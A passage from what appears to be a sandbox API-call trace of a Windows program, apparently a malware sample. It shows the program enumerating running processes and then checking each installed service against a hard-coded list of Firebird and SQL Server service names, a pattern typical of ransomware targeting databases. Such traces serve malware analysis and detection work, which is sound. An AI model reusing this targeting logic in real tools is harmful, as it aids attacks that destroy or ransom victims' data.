szExeFile="Memory Compression")) returned 1 [0137.358] lstrlenW (lpString="Memory Compression") returned 18 [0137.358] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0137.359] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0137.359] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0137.360] lstrlenW (lpString="SearchUI.exe") returned 12 [0137.360] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0137.361] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0137.361] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0137.362] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0137.362] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0137.363] lstrlenW (lpString="taskhostw.exe") returned 13 [0137.363] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0137.364] lstrlenW (lpString="UsoClient.exe") returned 13 [0137.364] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0137.365] lstrlenW (lpString="msoia.exe") returned 9 [0137.365] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0137.366] lstrlenW (lpString="taskhostw.exe") returned 13 [0137.366] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0137.366] lstrlenW (lpString="msoia.exe") returned 9 [0137.367] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0137.367] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0137.367] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0137.368] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0137.368] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0137.369] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0137.369] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0137.370] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0137.370] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0137.371] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0137.371] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0137.372] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0137.372] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0137.373] lstrlenW (lpString="concerned venture.exe") returned 21 [0137.373] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0137.374] lstrlenW (lpString="organizingscsi.exe") returned 18 [0137.374] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0137.550] lstrlenW (lpString="airplane placing.exe") returned 20 [0137.550] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0137.551] lstrlenW (lpString="circus.exe") returned 10 [0137.551] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0137.552] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0137.552] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0137.553] lstrlenW (lpString="das.exe") returned 7 [0137.553] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0137.554] lstrlenW (lpString="beam removable.exe") returned 18 [0137.554] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0137.554] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0137.554] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0137.555] lstrlenW (lpString="dome.exe") returned 8 [0137.555] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0137.556] lstrlenW (lpString="wiresjacket.exe") returned 15 [0137.556] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0137.557] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0137.557] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0137.558] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0137.558] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0137.559] lstrlenW (lpString="tested.exe") returned 10 [0137.559] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0137.560] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0137.560] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0137.561] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0137.561] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0137.562] lstrlenW (lpString="level.exe") returned 9 [0137.562] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0137.563] lstrlenW (lpString="dllhost.exe") returned 11 [0137.563] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.564] lstrlenW (lpString="conhost.exe") returned 11 [0137.564] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.565] lstrlenW (lpString="conhost.exe") returned 11 [0137.565] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.566] lstrlenW (lpString="svchost.exe") returned 11 [0137.566] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0137.567] lstrlenW (lpString="load0.exe") returned 9 [0137.567] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0137.568] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0137.568] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.568] lstrlenW (lpString="conhost.exe") returned 11 [0137.568] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0137.569] lstrlenW (lpString="cmd.exe") returned 7 [0137.569] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.570] lstrlenW (lpString="conhost.exe") returned 11 [0137.570] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.571] lstrlenW (lpString="svchost.exe") returned 11 [0137.571] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0137.572] lstrlenW (lpString="mode.com") returned 8 [0137.572] Process32NextW (in: hSnapshot=0x1084, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0137.573] CloseHandle (hObject=0x1084) returned 1 [0137.573] Sleep (dwMilliseconds=0x1f4) [0138.534] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3758 [0138.534] EnumServicesStatusExW (in: hSCManager=0x5e3758, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0138.535] GetLastError () returned 0xea [0138.535] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x64ac08 [0138.535] EnumServicesStatusExW (in: hSCManager=0x5e3758, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0138.536] CloseServiceHandle (hSCObject=0x5e3758) returned 1 [0138.536] lstrlenW (lpString="Appinfo") returned 7 [0138.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0138.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0138.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0138.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0138.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0138.536] lstrlenW (lpString="AppXSvc") returned 7 [0138.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0138.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0138.536] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0138.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0138.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0138.537] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0138.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0138.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0138.537] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0138.537] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0138.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0138.537] lstrlenW (lpString="Audiosrv") returned 8 [0138.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0138.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0138.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0138.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0138.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0138.537] lstrlenW (lpString="BFE") returned 3 [0138.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0138.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0138.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0138.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0138.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0138.537] lstrlenW (lpString="BITS") returned 4 [0138.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0138.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0138.537] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0138.537] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0138.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0138.537] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0138.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0138.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0138.538] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0138.539] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0138.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0138.539] lstrlenW (lpString="CDPSvc") returned 6 [0138.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0138.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0138.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0138.539] lstrlenW (lpString="ClickToRunSvc") returned 13 [0138.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0138.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0138.539] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0138.539] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0138.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0138.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0138.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0138.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0138.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0138.539] lstrlenW (lpString="CryptSvc") returned 8 [0138.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0138.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0138.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0138.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0138.539] lstrlenW (lpString="DcomLaunch") returned 10 [0138.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0138.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0138.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0138.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0138.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0138.540] lstrlenW (lpString="DeviceAssociationService") returned 24 [0138.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0138.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0138.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0138.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0138.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0138.540] lstrlenW (lpString="Dhcp") returned 4 [0138.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0138.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0138.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0138.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0138.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0138.540] lstrlenW (lpString="Dnscache") returned 8 [0138.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0138.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0138.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0138.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0138.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0138.540] lstrlenW (lpString="DoSvc") returned 5 [0138.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0138.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0138.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0138.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0138.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0138.540] lstrlenW (lpString="DPS") returned 3 [0138.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0138.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0138.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0138.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0138.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0138.541] lstrlenW (lpString="DusmSvc") returned 7 [0138.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0138.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0138.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0138.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0138.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0138.541] lstrlenW (lpString="EventLog") returned 8 [0138.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0138.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0138.542] lstrcmpiW 